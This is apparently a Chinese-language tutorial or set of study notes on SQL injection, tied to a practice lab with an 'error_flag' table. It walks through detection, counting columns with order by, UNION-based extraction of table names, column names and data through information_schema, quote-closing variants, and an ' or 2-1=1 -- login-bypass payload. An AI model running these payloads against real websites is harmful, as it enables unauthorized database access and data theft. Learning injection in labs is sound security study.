本文最后更新于 2022-01-12,文章内容可能已经过时。

SQL注入原理

一、什么是SQL注入

用户输入的内容被浏览器当做数据库语句进行执行。

关键点:输入的内容一定要是数据库语句。

总结:我们在一个网站上输入的【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。

在网站上输入的地方:

  1. 网站上提供的框框(搜索框)。
  2. 在地址栏传入参数 domain/search?keyword=123

数据库语法

 select 列名 from 表名 where 条件
  select 查询
  from 来自
  where 条件

Eg:select 侯某是否在家 from 尧哥的家 where 尧哥不在家
翻译:当尧哥不在家的时候,在尧哥的家中,查询侯某是否在家

*:查询所有(正则式)

注入流程

判断目标网站是否存在SQL漏洞

  • 输入 and 1=1 --> 有查询结果
    输入 and 1=2 --> 没有查询结果

    • ==>根据这个现象推断出网站存在SQL漏洞
  • 不输入的时候:select * from user where id=1
    输入and 1=1:select * from user where id=1 and 1=1
    输入and 1=2:select * from user where id=1 and 1=2

我们输入的都是数据库语句的一部分

逆反思维:假设网站存在SQL漏洞,意味着我们输入的数据库语句他都会执行。

判断字段(列)数

用到order by ,作用:排序

  • order by 1 --> 有查询结果 --> 说明表里面有1列。
    order by 2 --> 有查询结果 --> 说明表里面有2列。
    order by 3 --> 有查询结果 --> 说明表里面有3列。
    order by 4 --> 没有查询结果 --> 说明表里面只有3列。

查找回显点

回显点:能够让我们输入的数据库执行,并且将结果显示在页面上。

用到 union , 作用:联合查询,能够同时执行两条查询语句。
关键点:保证前后两条查询语句列数保持一致。

select * from user union select id from user:
报错,列数一定要保持一致
改成 > select username from user union select id from user:

select * from user where id=1 and 1=2 union select 1,2,3

查询相关数据

version() # 函数,作用:查询版本号
database() # 函数,作用:查库名
将函数放入回显点,就能查出版本号,库名
select 列名 from 表名

limit m,n 从m+1行开始,查询n条数据,类似于过滤输出的意思

查表名

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1

  • table_name 列名,网站管理员创建的表名。
    table_schema 列名,网站管理员创建的库名。
    information_schema 库名,是MySQL自带的。
    tables 表名,这个表在information_schema库里面。
    information_schema.tables 库.表

查列名

and 1=2 union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name=‘error_flag’ limit 1,1

  • column_name 列名,网站管理员创建的列名。
    columns 表名,在information_schema库里面。

查数据

and 1=2 union select 1,2,flag from error_flag limit 1,1

select 1,2,3 类似于站位

扩展

闭合引号

pass-01:select * from user where id=1
pass-02:select * from user where id='1'

  • 输入and 1=1:select * from user where id='1 and 1=1'
    输入and 1=2:select * from user where id='1 and 1=2'

  • 输入' and 1=1:select * from user where id='1' and 1=1'

注释:--+ , # , --d

  • 输入' and 1=1 --+ :select *from user where id='1' and 1=1 --'
    输入' and 1=2 --+ :select *from user where id='1' and 1=2 --'
    输入' order by 1 --+ 判断列数
    输入' and 1=2 union select 1,2,3 --+ :回显点

用#号注释的时候需要URL编码

pass-03:select * from user where id=('1')

  • 输入and 1=1:select * from user where id=('1 and 1=1')
    输入') and 1=1 --+ :select *from user where id=('1') and 1=1 --')
    输入') and 1=2 --+ :select *from user where id=('1') and 1=2 --')

and 和 or 的灵活运用

  • and
    1=1 and 2=2(条件都成立才算成立)
  • or
    1=1 or 2=1(一个条件成立,整个条件成立)--> 万能密码漏洞

万能密码:select * from user where username='' and password=''
正常输入:select * from user where username='admin' and password='123456'
万能密码:' or 2-1=1 -- asdf
select * from user where username='' or 2-1=1 --asdf' and password=''